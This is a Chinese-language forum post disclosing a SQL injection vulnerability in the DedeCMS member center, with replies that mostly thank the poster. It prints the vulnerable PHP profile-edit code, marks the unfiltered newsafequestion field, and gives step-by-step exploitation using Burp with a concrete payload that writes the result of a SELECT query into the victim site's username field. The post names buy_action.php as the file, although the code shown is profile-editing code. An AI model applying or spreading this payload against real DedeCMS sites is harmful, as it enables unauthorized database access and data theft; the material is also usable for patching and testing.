Dedecms 会员中心注入漏洞2

土豆

漏洞作者： Matt

在member/buy_action.php文件处，

[PHP] 纯文本查看 复制代码

require_once(dirname(__FILE__)."/config.php");
CheckRank(0,0);
$menutype = 'config';
if(!isset($dopost)) $dopost = '';
 
$pwd2=(empty($pwd2))? "" : $pwd2;
$row=$dsql->GetOne("SELECT  * FROM `#@__member` WHERE mid='".$cfg_ml->M_ID."'");
$face = $row['face'];
if($dopost=='save')
{
    $svali = GetCkVdValue();
 
    if(strtolower($vdcode) != $svali || $svali=='')
    {
        ReSETVdValue();
        ShowMsg('验证码错误！','-1');
        exit();
    }
    if(!is_array($row) || $row['pwd'] != md5($oldpwd))
    {
        ShowMsg('你输入的旧密码错误或没填写，不允许修改资料！','-1');
        exit();
    }
    if($userpwd != $userpwdok)
    {
        ShowMsg('你两次输入的新密码不一致！','-1');
        exit();
    }
    if($userpwd=='')
    {
        $pwd = $row['pwd'];
    }
    else
    {
        $pwd = md5($userpwd);
        $pwd2 = substr(md5($userpwd),5,20);
    }
    $addupquery = '';
 
    #api{{
    if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
    {
        $emailnew = $email != $row['email'] ? $email : '';
        $ucresult = uc_user_edit($cfg_ml->M_LoginID, $oldpwd, $userpwd, $emailnew);       
    }
    #/aip}}
 
    //修改安全问题或Email
    if($email != $row['email'] || ($newsafequestion != 0 && $newsafeanswer != ''))
    {
        if($row['safequestion']!=0 && ($row['safequestion'] != $safequestion || $row['safeanswer'] != $safeanswer))
        {
            ShowMsg('你的旧安全问题及答案不正确，不能修改Email或安全问题！','-1');
            exit();
        }
 
        //修改Email
        if($email != $row['email'])
        {
            if(!CheckEmail($email))
            {
                ShowMsg('Email格式不正确！','-1');
                exit();
            }
            else
            {
                $addupquery .= ",email='$email'";
            }
        }
 
        //修改安全问题
        if($newsafequestion != 0 && $newsafeanswer != '')
        {
            if(strlen($newsafeanswer) > 30)
            {
                ShowMsg('你的新安全问题的答案太长了，请保持在30字节以内！','-1');
                exit();
            }
            else
            {
                $addupquery .= ",safequestion='$newsafequestion',safeanswer='$newsafeanswer'";//这里的newsafequest没过滤 我们直接update注入
            }
        }
    }
 
    //修改uname
    if($uname != $row['uname'])
    {
        $rs = CheckUserID($uname,'昵称或公司名称',FALSE);
        if($rs!='ok')
        {
            ShowMsg($rs,'-1');
            exit();
        }
        $addupquery .= ",uname='$uname'";
    }
 
    //性别
    if( !in_array($sex, array('男','女','保密')) )
    {
        ShowMsg('请选择正常的性别！','-1');
        exit();   
    }
 
    $query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
    echo $query1;
    $dsql->ExecuteNoneQuery($query1);

漏洞证明：

利用方法 注册用户并且登陆

完了打开http://127.0.0.1/dede/member/edit_baseinfo.php

然后随便写一下

输入验证码 打开BURP 抓包

点击提交

然后再BURP里修改newsafequestion 的值改成1',email=@`'`,uname=(select user()),email='sss

然后提交 之后再打开http://127.0.0.1/dede/member/edit_baseinfo.php

就可以看到自己的、用户名变成了注入之后的结果了

Alt93

dede的洞果断收藏

espandy

谢谢土豆牛分享！支持！

蓝色_

连载的节奏啊mark

nextdoor

多谢分享，

2119

不错！谢谢分享！

Diana

记得乌云发了十几条

mojitingliu

谢谢土豆牛分享！支持！